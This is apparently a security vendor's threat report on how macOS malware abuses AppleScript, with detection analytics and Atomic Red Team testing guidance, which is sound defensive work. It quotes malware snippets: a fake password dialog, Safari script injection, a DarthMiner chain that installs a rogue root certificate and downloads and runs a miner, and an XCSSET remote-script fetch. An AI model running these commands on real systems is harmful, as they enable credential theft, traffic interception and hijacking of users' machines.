T1059.002
AppleScript
Adversaries continue to abuse macOS’s native scripting interpreter, AppleScript.
Pairs with this songThreat sounds
Just like MTV’s “reality” show “The Hills,” much adversary activity on macOS is scripted. The rest? Still unwritten.
Analysis
Gaining execution on macOS can be noisy. When binaries are dropped to disk, there is ample opportunity for defenders to respond, be it via traditional static-based detection or more modern process-centric behaviors. It’s for this reason that adversaries tend towards a “Living off the Orchard” (LOOBin) approach, which assumes the host has only factory software installed. Native Open Scripting Architecture (OSA) languages like AppleScript offer immensely powerful system automation and Objective-C bridging functionality that enables execution, defense evasion, and more. In fact, the prevalence of adversaries abusing OSA was pressing enough that it prompted us to chat about it for an entire hour with our friends from Jamf and MITRE.
How do adversaries leverage AppleScript?
AppleScript, like any other scripting language, offers capabilities like variables, control flow, commands, and more. However, where it and other OSA-based languages really shine is in the ability to automate the system and call native APIs. This is why adversaries are drawn to the language, along with the defense evasion properties associated with in-memory execution and run-only scripts. We’ve seen adoption across malware families ranging from adware to remote access trojans (RAT).
Adversaries have several distinct variations to enable AppleScript execution, each with their own distinct characteristics:
- Use of the osascript binary or shell scripts: This is by far the most common example and the easiest to detect. This variation is simply the user executing AppleScript in-line or through a file or inter process communication (IPC) at the command line via the
/usr/bin/osascript
LOOBin. - The NSAppleScript/NSUserAppleScriptTask APIs and OSAKit framework: The programmatic execution of AppleScript code, which occur in more advanced use cases largely for defense evasion from an agent payload.
- Applets: These are becoming a more frequent alternative to traditional Objective-C, Swift, Go, and other compiled payloads. Simply put, applets are “compiled” OSA code, a thin Mach-O wrapper, and an application bundle structure. For an in-depth look at applets themselves, read our blog on Application Bundle Manipulation, which explores their use by the authors of XCSSET malware.
Next, we’ll go through some examples of adversaries leveraging each of these variations.
Variation 1: osascript
This first variation is characterized by executing AppleScript code in-line or from a file or IPC via the /usr/bin/osascript
LOOBin. It typically happens early in the attack for staging or persisting resources. Importantly, adversarial use of AppleScript here is relatively easy to detect.
In the most simple case, if an adversary needs to grab the user’s login password, for example, they might do something similar to MacStealer’s implementation. Here they leverage osascript
to execute AppleScript code in-line, generating a basic dialog box.
osascript -e display dialog "MacOS wants to access the System Preferences," with title "System Preferences" with icon caution default answer "" with hidden answer
Or in the case of Pirrit adware, the adversary leverages AppleScript to manipulate (restart in this case) Firefox, Chrome, or Safari for their changes to take effect.
#!/bin/bash
cd $(dirname $0)
killall firefox
relaunch_firefox=$?
killall "Google Chrome"
relaunch_chrome=$?
killall Safari
relaunch_safari=$?
sleep 2
./BrowserEnhancer.app/Contents/MacOS/BrowserEnhancer $1 $2 $3 $4 $5
if [ $relaunch_firefox -eq 0 ];
then
osascript -e "tell application \"firefox\" to launch"
sleep 1
osascript -e "tell application \"firefox\" to close windows"
fi
if [ $relaunch_chrome -eq 0 ];
then
open -a "Google Chrome" -g --args --no-startup-window
fi
exit 0
global _pid
set _pid to "pid_value_to_replace"
repeat
<event_XFdrljct> {}
end repeat
on <event_XFdrljct> {}
delay 0.5
try
if is_Safari_running() then
tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in current tab of first window
if page_source does not contain _pid then
set theURL to URL of current tab of first window
if theURL is not equal to "about:blank" then
tell application "Safari" to do JavaScript "var pidDiv = document.createElement('div'); pidDiv.style.display = 'none'; pidDiv.innerHTML = '\" & _pid & '\"; document.getElementsByTagName('body')[0].appendChild(pidDiv);" in current tab of first window
tell application "Safari" to do JavaScript "var js_script = document.createElement('script'); js_script.type = 'text/javascript'; js_script.src = 'script_to_inject'; document.getElementsByTagName('head')[0].appendChild(js_script);" in current tab of first window
end if
end if
end if
end try
end <event_XFdrljct>
on is_Safari_running()
tell application "System Events" to (name of processes) contains "Safari"
Furthermore, OSX.DarthMiner (a RAT) leverages AppleScript to download and install EmPyre, persist as a Launch Agent, install XMRig, and install a man-in-the-middle (MitM) certificate.
osascript -e "do shell script "networksetup -setsecurewebproxy "Wi-Fi" XX.XXX.XXX.XXX 8080 && networksetup -setwebproxy "Wi-Fi" XX.XXX.XXX.XXX 8080 && curl -x http://XX.XXX.XXX.XXX:8080 http://mitm.it/cert/pem -o verysecurecert.pem && security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain verysecurecert.pem" with administrator privileges" cd ~/Library/LaunchAgents curl -o com.apple.rig.plist http://XX.XXX.XXX.XXX/com.apple.rig.plist curl -o com.proxy.initialize.plist http://XX.XXX.XXX.XXX/com.proxy.initialize.plist launchctl load -w com.apple.rig.plist launchctl load -w com.proxy.initialize.plist cd /Users/Shared curl -o config.json http://XX.XXX.XXX.XXX/config.json curl -o xmrig http://XX.XXX.XXX.XXX/xmrig chmod +x ./xmrig rm -rf ./xmrig2 rm -rf ./config2.json ./xmrig -c config.json &
The flexibility and power offered by AppleScript has also extended to red teamers with the Apfell and Poseidon Mythic agents (just to name a couple). For example, Apfell’s entire implementation is in JavaScript for Automation (JXA)—another OSA language and sister language to AppleScript—which we also discussed at length in our webinar.
Variation 2: NSAppleScript and OSAKit
Here we’re referring to the programmatic execution of AppleScript via the NSAppleScript
/NSUserAppleScriptTask
API and OSAKit
framework. The functions you’ll largely be concerned with include:
NSAppleScript
OSAKit
NSUserAppleScriptTask
In 2017, the Snake trojan abused AppleScript’s ability to execute code as the root user. By abusing the do shell script
’s with administrator privileges
parameter, Snake was able to display a generic dialog requesting authentication. In this case, the ./install.sh
script will run with root privileges.
int _main(int arg0, int arg1) {
rax = [NSBundle mainBundle];
rax = [rax retain];
rax = [rax bundlePath];
rax = [NSString stringWithFormat:@"'%@%@'", rax, @"/install.sh"];
var_A8 = [NSString stringWithFormat:@"do shell script \"%@\" with administrator
privileges", rax];
var_B0 = [[NSAppleScript alloc] initWithSource:var_A8];
var_188 = [var_B0 executeAndReturnError:&var_B8];
// ...
}
Additionally, Patrick Wardle pointed out that the authors of OSX/Dok progressed things a bit further by persisting via a login item. AppleScript’s simplicity and power shines through here yet again, showcasing essentially in one line how to persist using Apple’s latest BTM (Background Task Management) service.
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/executable", hidden:false}'
void -[AppDelegate AddLoginScript](void * self, void * _cmd) {
r14 = [NSDictionary new];
r15 = [[NSString stringWithFormat:@"tell application \"System Events\" to make
login item at end with properties {path:\"%@\"}", self->needLocation] retain];
rbx = [[NSAppleScript alloc] initWithSource:r15];
var_28 = r14;
[rbx executeAndReturnError:&var_28];
return;
}
The Poseidon Mythic Agent (written in Go) also has the ability to execute OSA code (albeit JXA) via OSAKit’s executeAndReturnError
function.
// ...
NSString *codeString = [NSString stringWithUTF8String:s];
OSALanguage *lang = [OSALanguage languageForName:@"JavaScript"];
OSAScript *script = [[OSAScript alloc] initWithSource:codeString language:lang];
NSDictionary *__autoreleasing runError =nil;
NSAppleEventDescriptor* res = [script executeAndReturnError:&runError];
// ...
Variation 3: Applets
Applets, for all intents and purposes, are “apps.” Simply put, they’re “compiled” OSA code, a thin Mach-O wrapper, and an application bundle structure. This makes them an ideal candidate in which to conceal malicious code. We’ve explored this variation in-depth with our research on application bundle manipulation. However, the key point to understand is demonstrated by XCSSET’s procedures.
In the following example, you can see that the authors compile a “run only” applet with osacompile -x
. Compiling an applet in this way, as “run only,” is a form of obfuscation that helps to evade static analysis. We’ll point the reader to the aevt_decompile
tool developed by SentinelOne’s Phil Stokes if you happen to come across any examples.
set payload to quoted form of (do shell script "curl -ks https://" & domain & "/agents/scripts/screen.applescript")
do shell script "osacompile -x -e " & payload & " -o " & quoted form of tempApp
set targetDest to (getPathForBundleId(appID)) & "/Contents/MacOS/"
set targetFiles to {tempAppFile, chkdsAppFile}
The RustBucket malware discovered by Jamf Threat Labs (and thought to be connected to the BlueNoroff threat actor) was distributed as an unsigned applet named Internal PDF Viewer.app
. This technique, masquerading as a PDF viewer, can trick the user into executing the malware and unwittingly compromising their machine.
A list of in-the-wild examples of malware abusing AppleScript
Identified | Variant | Classification |
---|---|---|
2017 | OSX.Pirrit | Adware |
2017 | Snake | Trojan |
2017 | OSX/Dok | RAT |
2018 | OSX.DarthMiner | RAT |
2019 | OSX.Pirrit (second variant) | Adware |
2020 | OSX.EvilQuest / ThiefQuest | Stealer |
2020 | XCSSET | RAT |
2021 | OSX.OSAMiner | Cryptojacking |
2023 | RustBucket | Stager / RAT |
2023 | Atomic Stealer | Stealer |
2023 | MacStealer | Stealer |
2023 | Geacon stager | Stager |
2023 | MetaStealer | Stealer |
Take Action
In System Settings.app” → General → Sharing
, ensure that Remote Application Scripting is disabled. This option can be configured by MDM and is largely a legacy power user feature. Additionally, users can be tricked into running malicious scripts from the abuse of the AppleScript URL handler. Users should be trained not to proceed with software installs from suspicious looking or low reputation websites. For example, in our “Exploring the Dark Arts on macOS” webinar, we simulated a user being tricked into running a malicious script under the assumption they’re getting special preview access to a fake Apple product called “iCloud Pro.”
An example of a malicious phishing site: “iCloud Pro”
The user confirmation dialog presented by macOS:
How one of these scripts could present itself to the user. Nothing scary on the surface.
But, scroll down and you’re given an idea of what the adversary is doing here:
Visibility
Note: The visibility sections in this report are mapped to MITRE ATT&CK data sources and components.
Process monitoring
When looking to gain visibility into the adversarial use of AppleScript, Endpoint security will be your best friend. In particular, a lot of insight can be gained from enriched EXEC (process execution) event telemetry alone: ES_EVENT_TYPE_NOTIFY_EXEC / ES_EVENT_TYPE_AUTH_EXEC
.
Module monitoring
However, in more advanced cases visibility into MMAP (memory mapping) events will provide the highest resolution: ES_EVENT_TYPE_AUTH_MMAP / ES_EVENT_TYPE_NOTIFY_MMAP
.
Variation | Telemetry needed |
---|---|
/usr/bin/osascript | Process |
NSAppleScript /NSUserAppleScriptTask API/ OSAKit framework | Process and memory mapping |
Applet | Process and memory mapping |
Collection
Note: The collection sections of this report showcase specific log sources from Windows events, Sysmon, and elsewhere that you can use to collect relevant security information.
Endpoint security
We have largely focused our collection on endpoint security for detecting malicious use of AppleScript. In particular, it’s important to notice that your monitoring solution will need to be able to at least collect both ES_EVENT_TYPE_NOTIFY_EXEC
and ES_EVENT_TYPE_NOTIFY_MMAP
events to get the best results across variations.
Mac Monitor
Mac Monitor provides an excellent platform for us to test visibility. However, you’re free to utilize any ES monitoring solution collecting both ES_EVENT_TYPE_NOTIFY_EXEC
and ES_EVENT_TYPE_NOTIFY_MMAP
events. We’ve taken screenshots of Mac Monitor’s visibility of these events below. However, we encourage you to try it out for yourself!
NSAAppleScript
Applets
Detection opportunities
Based on the examples we’ve listed above, we can go ahead and start developing some of those detectors. Note that this is just a sample, for an in-depth look at the detection resolution of our full scope T1059.002 AppleScript AtomicTestHarness, take a look at our blog introducing POSIX AtomicTestHarnesses.
Mac AppleScript input prompt
Adversaries leverage AppleScript to try to steal the user’s login password. This analytic attempts to detect that activity via the first variation.
command_includes ('osascript' && 'display dialog' && 'password')
In-memory downloading and compiling of applets as payloads
This analytic uses a single ES_EVENT_TYPE_NOTIFY_EXEC
event and looks for the the execution of curl
, |
, or osacompile
commands.
command_includes ('osacompile' && '|' && 'curl')
Lastly, another detection opportunity based on an internal assessment we conducted would be URL monitoring. AppleScript code can be executed (with user consent) though a URL handler. For example: applescript://com.apple.scripteditor?action=new&script=
. When a user clicks a link like this macOS, will present a dialog asking if the user really wants to run this script. If they click the “run” button, they could inadvertently execute a malicious script.
Testing
Start testing your defenses against AppleScript using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.
Getting started
View atomic tests for T1059.002: AppleScript. Alternatively, check out our POSIX AtomicTestHarness for T1059.002: AppleScript. The tests for this technique include five variations covering: stay-open-scripts, applets, shell scripts, command line, and NSAppleScript
/OSAKit
. Additionally, a section of our Open Scripting Architecture webinar was dedicated to an in-depth walkthrough.
Getting started is easy, you’ll just need to have Python 3.10+ along with Xcode Command Line Tools (for gcc
). See the screenshots above in the collection section to get a good idea of the data you can expect to see from these tests.
pip install posixath
python -m posixath macos -t T1059_002 -k "nsapplescript"
Review and repeat
Now that you have executed one or several common tests and checked for the expected results, it’s useful to answer some immediate questions:
- Were any of your actions detected?
- Were any of your actions blocked or prevented?
- Were your actions visible in logs or other defensive telemetry?
Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.